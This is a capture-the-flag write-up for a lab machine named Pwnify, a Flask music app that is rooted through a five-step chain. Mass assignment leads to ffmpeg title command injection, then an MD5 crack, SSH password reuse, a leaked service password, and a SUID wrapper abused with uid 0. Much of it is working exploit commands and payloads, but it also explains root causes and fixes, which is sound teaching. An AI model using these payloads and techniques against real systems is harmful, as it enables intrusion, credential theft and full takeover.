PWNY

HACKERDNA WEB EXPLOITATION · A MUSIC APP, FIVE BROKEN LINKS

Pwnify

Mass-assign your way to `artist` → command injection through an ffmpeg ID3 tag → crack an admin's MD5 → reuse it over SSH → a leaked service password → a SUID setuid-wrapper to root.

MACHINE	CATEGORY	DIFFICULTY
Pwnify	Web Exploitation	Hard
TARGET	**RESULT**	**OPERATOR**
Flask + nginx · aarch64	user + root	Cody Richard · ssstrickys

TECHNICAL BRIEF · EXECUTIVE SUMMARY

A whitelist with one extra field, a shell string with one un-escaped tag.

Category **Web + Privilege Escalation** · Difficulty **Hard** · Stack **Flask + Gunicorn + nginx** · Chain **5 links**

Pwnify is a music-streaming app. Registration gives a normal listener; the interesting features (a "Studio" that transcodes uploads) are gated on an `is_artist` flag. That flag is set server-side — but the profile-update whitelist mistakenly includes it, so a listener can **mass-assign** themselves into an artist. The Studio then stamps the artist-supplied **title** into an ID3 tag via a shell string — `-metadata title='{title}'` — giving **OS command injection** as the web user.

From there it is classic post-exploitation: dump the app's SQLite database, crack the founder's **MD5** password (`blink182`), and reuse it over SSH for the user flag. A world-readable service `config.ini` leaks the `transcoder` account, whose group can run a SUID-root helper — `pwnify-enc --uid <n> <command>` — that never checks `n != 0`. `--uid 0 /bin/bash` is root.

#	LINK	FLAW	RESULT
1	Mass assignment	`is_artist` in the profile whitelist	listener → artist
2	Command injection	ffmpeg `-metadata title='{title}'`	RCE as pwnify (999)
3	Hash cracking	MD5 in SQLite → `blink182`	djcarter credential
4	Password reuse	web password == SSH password	user flag (djcarter)
5	Privesc (capability)	SUID `pwnify-enc --uid 0`	root flag

01 · RECONNAISSANCE

A Flask app keyed by user id

A paced service scan (this lab firewalls loud scanners) shows only SSH and the web app.

```
$ NMAP -PN -SV --TOP-PORTS 1000 -T3 3.255.228.159                    RECON

22/tcp open  ssh   OpenSSH 9.2p1 Debian 2+deb12u10
80/tcp open  http  nginx 1.22.1  ->  Flask/Gunicorn app "Pwnify"
```

Register + login sets a signed Flask session that stores only the numeric user id — the app looks users up by `uid`. Routes of interest: `/settings`, `/library`, and a set of JSON endpoints under `/api/`.

```
$ DECODE SESSION COOKIE                                              SESSION

$ echo eyJ1aWQiOjd9 | base64 -d
{"uid":7}          # my account is uid 7; role/artist live server-side
$ curl -s -b session /api/me
{"id":7,"role":"user","is_artist":false,"username":"pwnops", ...}
```

02 · MASS ASSIGNMENT → ARTIST

The Studio is gated on a flag you can set yourself

The settings page only edits **display name / email / bio**, POSTed as JSON to `/api/profile`. But the server's field whitelist has one field too many:

/VAR/WWW/PWNIFY/APP.PY — API_PROFILE() SOURCE

```
# Fields the settings form is allowed to update.
PROFILE_FIELDS = {"display_name", "bio", "email", "is_artist"}   # <-- should not be here

updates = {k: v for k, v in data.items() if k in PROFILE_FIELDS}
for col, val in updates.items():
    ...  # UPDATE users SET <col> = <val>
```

Adding `is_artist` to the JSON body promotes the account. The server even reports which fields it accepted — confirming `is_artist` is honored while `role` is (correctly) ignored:

$ MASS-ASSIGN IS_ARTIST PRIVESC

```
$ curl -s -b session -H 'Content-Type: application/json' \
       -d '{"display_name":"pwnops","is_artist":true,"role":"admin"}' /api/profile
{"ok":true,"updated":["display_name","is_artist"]}   # role dropped; is_artist kept
```

The Studio (`/studio`) is now unlocked, exposing an upload form: a **title** field and an **audio** file.

03 · COMMAND INJECTION — RCE

An ID3 tag stamped through /bin/sh

The upload handler builds a shell command to normalize the file and stamp the title as metadata, then runs it with `shell=True`:

/VAR/WWW/PWNIFY/APP.PY — STUDIO_UPLOAD() SOURCE

```
stored   = f"up_{u['id']}_{secrets.token_hex(4)}.mp3"
raw_path = os.path.join(UPLOAD_DIR, "raw_" + stored)
out_path = os.path.join(UPLOAD_DIR, stored)

cmd = (
  f"ffmpeg -y -i {raw_path!r} -metadata title='{title}' "     # title in single quotes, NOT escaped
  f"-codec copy {out_path!r} 2>&1; ..."
)
proc = subprocess.run(cmd, shell=True, capture_output=True, text=True)
```

The file paths use `!r` (safely quoted), but `title` is interpolated raw between single quotes. A time-based probe pins the exact break-out: `$()` and backticks fire only when the single quote is first closed — proving the single-quoted context:

$ TIME-BASED ORACLE ON TITLE CONFIRM

```
title=x"$(sleep 6)"y     -> 0.6s   # double quotes: inert (we're in single quotes)
title=x';sleep 6;'y      -> 0.3s   # bare ; : inert
title=x'$(sleep 6)'y     -> 6.6s   # close ' , substitute, reopen ' : FIRES
```

Payload shape: `x'$(<command>)'y`. Output has no direct channel, but the app's CWD is `/var/www/pwnify` and `static/` is a plain served mount — so the command writes to `static/<rand>` and the result is fetched over HTTP. Base64-wrapping the payload keeps single quotes out of the single-quoted context:

$ PWNIFY_RCE.PY 'ID; PWD' RCE

```
title = x'$( echo <b64> | base64 -d | sh > static/o.txt 2>&1 )'y

$ curl -s /static/o.txt
uid=999(pwnify) gid=999(pwnify) groups=999(pwnify)
/var/www/pwnify
```

ROOT CAUSE

Building a shell string from user input and running it with `shell=True`. Even "just a metadata tag" is RCE. Use an argument list — `subprocess.run(["ffmpeg","-i",raw,"-metadata",f"title={title}", ...], shell=False)`.

04 · LOOT, CRACKING & PASSWORD REUSE

The founder recycles his password

As `pwnify`, the app's SQLite DB is readable. Its `users` table mixes strong **scrypt** hashes with legacy **MD5** — including the admin/founder `djcarter`:

```
$ DUMP INSTANCE/PWNIFY.DB                                                    DB

djcarter  admin  6104df369888589d6dbea304b59a32d4   # 32 hex = unsalted MD5
lena.fox  user   scrypt:32768:8:1$...                 # strong, skip
marcus_b  user   7f183e9b...   ops_kev  user  36c91ce3...  # more MD5
```

```
$ JOHN --FORMAT=RAW-MD5 --WORDLIST=ROCKYOU.TXT                              CRACK

blink182   (djcarter)          # instant
```

The web password is reused for the system account — **password reuse** straight to a shell and the user flag:

```
$ SSH DJCARTER@TARGET                                                       USER

$ sshpass -p 'blink182' ssh djcarter@3.255.228.159 'id; cat ~/user.txt'
uid=1000(djcarter) groups=1000(pwteam)
8877c447-c4f7-4f5d-b65c-3400958fd7da
```

05 · PIVOT — THE TRANSCODER SERVICE

A config file that says "do not commit"

The root escalation runs through a SUID helper, `/usr/local/bin/pwnify-enc` (`-rwsr-x--- root transcoder`, plus `cap_setuid=ep`) — executable only by the **transcoder** group. `djcarter` is in `pwteam`, not `transcoder`, but `pwteam` can read the transcoder service directory, and its config leaks the account password:

DJCARTER@PWNIFY $ CAT /OPT/PWNIFY/TRANSCODER/CONFIG.INI — LEAK

```
[service]
user = transcoder
password = Tr4nscoderSvc9912
queue_dir = /opt/pwnify/transcoder/queue
encoder  = /usr/local/bin/pwnify-enc
```

$ BECOME TRANSCODER — PIVOT

```
$ ssh transcoder@target   # password Tr4nscoderSvc9912
uid=1001(transcoder) gid=1002(transcoder) groups=1002(transcoder),1000(pwteam)
```

06 · PRIVILEGE ESCALATION — ROOT

A setuid wrapper that trusts its `--uid`

Now readable, `pwnify-enc` is a thin SUID-root wrapper whose entire purpose is to drop into a "service UID" and exec a command — but it never checks that the requested UID is non-zero:

TRANSCODER@PWNIFY $ PWNIFY-ENC — ENC

```
pwnify-enc - Pwnify priority encode helper
Usage: pwnify-enc --uid <service-uid> <command> [args...]
Runs <command> under the given service UID.
# strings: setuid@GLIBC / execvp@GLIBC  -> setuid(uid); execvp(argv)
```

It is SUID root (and carries `cap_setuid`), so `setuid(0)` succeeds. Request UID 0 and exec a shell:

TRANSCODER@PWNIFY $ PWNIFY-ENC --UID 0 /BIN/BASH -P — ROOT

```
$ /usr/local/bin/pwnify-enc --uid 0 /bin/sh -c 'id; cat /root/flag-root.txt'
uid=0(root) gid=1002(transcoder) groups=1002(transcoder),1000(pwteam)
4b097a8e-7de1-4688-8f81-f36cf5208abe
```

WHY IT WORKS

The wrapper was meant to isolate encode jobs per tenant by dropping to a low service UID. With no lower-bound check, `--uid 0` makes the "drop" a promotion — the SUID/`cap_setuid` privilege lets it setuid to root, then execs whatever you pass.

07 · IMPACT & REMEDIATION

Five independent mistakes, one continuous path

- **Mass assignment.** Never drive column updates from a client-controlled key set. Bind an explicit allow-list that contains *only* user-editable presentation fields; keep authority flags (`is_artist`, `role`) on a separate, server-only path.
- **Command injection.** `shell=True` with an interpolated string is RCE. Use argument-list `subprocess.run([...], shell=False)`; if a shell is unavoidable, there is still no safe way to inject unescaped user input.
- **Weak/legacy hashing.** MD5 password hashes crack instantly. Use a memory-hard KDF (scrypt/argon2) for *all* accounts and migrate legacy rows.
- **Password reuse.** The founder's web password equalled his SSH password — one crack, one shell. Enforce unique credentials and SSH keys.
- **Secrets in a readable config.** A group-readable `config.ini` handed over the service password. Store service secrets outside group-readable paths; scope them to the service account only.
- **Unbounded setuid wrapper.** A SUID helper that accepts an arbitrary target UID must reject 0 (and any privileged UID) and pin the command set. As written it is a general-purpose root shell for anyone in the `transcoder` group.

LESSON

Every link was individually small — one stray whitelist entry, one un-escaped tag, one reused password, one missing bounds check. Depth-in-defence fails when each layer is one review comment away from correct and none of them is.

APPENDIX · LEDGER

Flags, credentials & surface

USER `8877c447-c4f7-4f5d-b65c-3400958fd7da` CAPTURED

ROOT `4b097a8e-7de1-4688-8f81-f36cf5208abe` CAPTURED

CREDENTIAL LEDGER

PRINCIPAL	SECRET	RECOVERED VIA
djcarter (admin)	blink182	cracked MD5 from `pwnify.db`
transcoder (svc)	Tr4nscoderSvc9912	`/opt/pwnify/transcoder/config.ini`

ATTACK SURFACE REFERENCE

- mass-assign — POST /api/profile · {"is_artist":true}.
- rce — POST /studio/upload · title=x'$(cmd)'y · exfil /static/.
- loot — instance/pwnify.db · MD5 → rockyou.
- reuse — ssh djcarter:blink182.
- root — pwnify-enc --uid 0 /bin/bash.

Solved user + root. A music app owned end-to-end through five small, entirely ordinary mistakes.